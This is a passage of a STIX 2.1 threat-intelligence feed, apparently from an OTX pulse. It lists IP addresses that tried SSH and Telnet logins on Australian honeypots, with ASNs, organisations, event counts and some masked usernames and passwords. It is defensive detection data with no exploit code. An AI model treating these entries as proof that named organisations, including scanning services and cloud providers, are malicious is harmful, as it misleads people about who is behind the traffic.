      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:15:10.000Z",
      "valid_until": "2026-06-15T16:15:08.000Z"
    },
    {
      "created": "2026-05-14T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 6703. Organisation(s): Private Joint-stock Company farlep-invest.",
      "id": "indicator--400c896b-a056-4362-a4b5-a9a5d49e7978",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.159.248.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:15:10.000Z",
      "valid_until": "2026-06-15T16:15:08.000Z"
    },
    {
      "created": "2026-05-14T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: FI. ASN(s): 51765. Organisation(s): Oy Crea Nova Hosting Solution Ltd.",
      "id": "indicator--06aa2d3b-be3e-497a-a2b0-35ce693ee767",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.233.116.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:15:10.000Z",
      "valid_until": "2026-06-15T16:15:08.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited. Usernames observed (masked): r**t. Passwords observed (masked): k*****a.",
      "id": "indicator--c38fd536-08a7-4258-ade7-4483b61bb35d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.88.137.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MK. ASN(s): 43612. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--4448e855-357f-4b6b-95f1-4e3db5d64e48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.255.75.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--63c09773-d60f-41a8-883c-f717fcc92b5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--30d1c40c-a3be-42ce-808b-f7fd506db4bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd.",
      "id": "indicator--1fc53e53-73d3-4cd5-a743-dc0aa03d2a39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.99.188.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 15085. Organisation(s): Immedion, LLC.",
      "id": "indicator--bb3cbcec-ed97-4455-a997-5d3e840bfbc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.59.16.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--e4395f4e-d9f4-4437-8652-b66123ad1be4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.119.32.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9eb48882-da86-4e63-a0d4-cdcf14bc1ec4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.176.254.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC.",
      "id": "indicator--ad039e8b-5c2d-4f15-884a-f90054370c07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.116.72.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--fb800bb8-77e5-4d24-8e1d-e4dcbfefa00e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.109.228.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11878. Organisation(s): tzulo, inc..",
      "id": "indicator--81d22277-476a-43ce-8fbb-6ea0961bf77a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.235.56.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T17:15:05.000Z",
      "valid_until": "2026-06-15T17:15:03.000Z"
    },
    {
      "created": "2026-05-14T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 38513. Organisation(s): PT Aplikanusa Lintasarta. Usernames observed (masked): r**t, 3**********4, ***, a**q, l***x. Passwords observed (masked): 3***********4, 3**********4, l******3, !******2, 1****e.",
      "id": "indicator--b1267376-ac67-4d42-b40d-baf6bf3fd3dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.191.14.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T18:15:11.000Z",
      "valid_until": "2026-06-15T18:15:09.000Z"
    },
    {
      "created": "2026-05-14T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e42a9eff-c99e-4f8a-8117-19475755971f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.255.226.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T18:15:11.000Z",
      "valid_until": "2026-06-15T18:15:09.000Z"
    },
    {
      "created": "2026-05-14T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0423d07c-2633-4c15-918c-a86e0d865d82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.247.118.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T18:15:11.000Z",
      "valid_until": "2026-06-15T18:15:09.000Z"
    },
    {
      "created": "2026-05-14T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: SC. ASN(s): 211720. Organisation(s): Datashield, Inc.. Passwords observed (masked): s*****t.",
      "id": "indicator--4b4af47d-25ac-48fc-8f85-c02be6a2dc4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.231.33.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T18:15:11.000Z",
      "valid_until": "2026-06-15T18:15:09.000Z"
    },
    {
      "created": "2026-05-14T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b7d6b3ec-fd7a-4797-a74f-d545ef43318c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T18:15:11.000Z",
      "valid_until": "2026-06-15T18:15:09.000Z"
    },
    {
      "created": "2026-05-14T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 210976. Organisation(s): Timeweb, LLP.",
      "id": "indicator--1b84925e-8c1d-475f-b1e1-31d29ecb845d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.139.76.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T18:15:11.000Z",
      "valid_until": "2026-06-15T18:15:09.000Z"
    },
    {
      "created": "2026-05-14T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T18:15:11.000Z",
      "valid_until": "2026-06-15T18:15:09.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 280. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r**t, 3**********4, j******a, w****i, **. Passwords observed (masked): 3***********4, 3**********4, l******3, 0******., 1****3.",
      "id": "indicator--41fd98cb-63a1-41b7-82e3-6e04a5d53368",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.239.85.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--80223398-57b0-4486-a54d-986982cab509",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '153.205.134.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 11888. Organisation(s): Television Internacional, S.A. de C.V..",
      "id": "indicator--fbdd6581-3a8b-497e-a439-53750b914b6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.175.99.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 400409. Organisation(s): Pulsar Networks Inc.",
      "id": "indicator--99e469e0-aa17-49d1-ad0c-b4446f737c34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.212.242.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--9174f2b8-681d-4e0d-8cee-98a80f7417ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.126.2.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46475. Organisation(s): Limestone Networks, Inc..",
      "id": "indicator--aa1781a4-40c7-4fcf-a3e4-12fb32086fea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.245.216.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--04e359b1-249e-4e1b-87bc-e55bb12e6a5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.184.242.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--499323f9-238b-4fb3-8949-395696f26caa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.187.109.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--56c1b803-5b87-4a26-9f92-fb73ee9c151e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bcc091c3-abea-425f-99b7-ed9dda4e8a81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--8ce29ab2-4f13-4ea0-8fda-3c8851507542",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--740bd255-9e2e-491c-bac2-d757fe70bec0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T19:17:50.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 316. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 25513. Organisation(s): PJSC Moscow city telephone network. Usernames observed (masked): r**t, 3**********4, j******a, w****i, a***n. Passwords observed (masked): 3***********4, 3**********4, l******3, 0******., 1****3.",
      "id": "indicator--8fbfc0be-5a0b-4f52-907d-0e3951a1e65e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T19:17:50.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.165.68.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T19:17:50.000Z",
      "valid_until": "2026-06-15T19:15:08.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--f78a2ec1-73f1-4433-90f1-72958348e733",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.93.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--c8a65159-d286-4ea6-bed2-771d27734bf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.91.221.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--2561b772-e3a7-4d4b-bfc8-231c4e4fdb39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.24.61.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:15:06.000Z",
      "valid_until": "2026-06-15T20:15:04.000Z"
    },
    {
      "created": "2026-05-14T20:15:06.000Z",
